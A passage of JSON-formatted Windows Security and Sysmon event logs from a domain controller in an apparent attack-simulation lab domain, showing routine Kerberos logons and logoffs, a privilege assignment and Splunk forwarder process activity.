GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t::1\r\n\tSource Port:\t\t51385\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x5a38a","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"::1","IpPort":"51385","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:53:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221789,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x5A38A\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x5a38a","LogonType":"3","EventReceivedTime":"2020-08-07 11:53:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3938,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:20.456\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00102F140200}\r\nTargetProcessId: 2168\r\nTargetImage: C:\\Windows\\system32\\dns.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\kerberos.DLL+96ea2|C:\\Windows\\system32\\kerberos.DLL+79354|C:\\Windows\\system32\\kerberos.DLL+13948|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+2c2c4|C:\\Windows\\system32\\lsasrv.dll+31375|C:\\Windows\\system32\\lsasrv.dll+2f20b|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+16cdd|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1a96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:20.456","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00102F140200}","TargetProcessId":"2168","TargetImage":"C:\\Windows\\system32\\dns.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\kerberos.DLL+96ea2|C:\\Windows\\system32\\kerberos.DLL+79354|C:\\Windows\\system32\\kerberos.DLL+13948|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+2c2c4|C:\\Windows\\system32\\lsasrv.dll+31375|C:\\Windows\\system32\\lsasrv.dll+2f20b|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+16cdd|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1a96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","EventReceivedTime":"2020-08-07 11:53:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221790,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x5A627\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x5a627","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:53:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221791,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tDelegation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x5A627\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t51390\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x5a627","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"51390","ImpersonationLevel":"%%1840","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:53:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221792,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x5A627\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x5a627","LogonType":"3","EventReceivedTime":"2020-08-07 11:53:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221793,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x446DD\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x446dd","LogonType":"3","EventReceivedTime":"2020-08-07 11:53:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221794,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x432C9\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x432c9","LogonType":"3","EventReceivedTime":"2020-08-07 11:53:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221795,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x4320C\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x4320c","LogonType":"3","EventReceivedTime":"2020-08-07 11:53:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221796,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x43155\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x43155","LogonType":"3","EventReceivedTime":"2020-08-07 11:53:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221797,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x430D8\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x430d8","LogonType":"3","EventReceivedTime":"2020-08-07 11:53:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221798,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x43060\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x43060","LogonType":"3","EventReceivedTime":"2020-08-07 11:53:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221799,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x42EBF\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x42ebf","LogonType":"3","EventReceivedTime":"2020-08-07 11:53:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3939,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:36.322\r\nProcessGuid: {90617006-40C0-5F2D-0000-0010B3A90500}\r\nProcessId: 4844\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nFileVersion: 10.0.10011.16384\r\nDescription: SplunkMonNoHandle Control Program\r\nProduct: Windows (R) Win 7 DDK driver\r\nCompany: Windows (R) Win 7 DDK provider\r\nOriginalFileName: SplunkMonNoHandle.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:53:36.322","ProcessGuid":"{90617006-40C0-5F2D-0000-0010B3A90500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","FileVersion":"10.0.10011.16384","Description":"SplunkMonNoHandle Control Program","Product":"Windows (R) Win 7 DDK driver","Company":"Windows (R) Win 7 DDK provider","OriginalFileName":"SplunkMonNoHandle.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:53:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3940,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:36.321\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-40C0-5F2D-0000-0010B3A90500}\r\nTargetProcessId: 4844\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:36.321","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-40C0-5F2D-0000-0010B3A90500}","TargetProcessId":"4844","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program 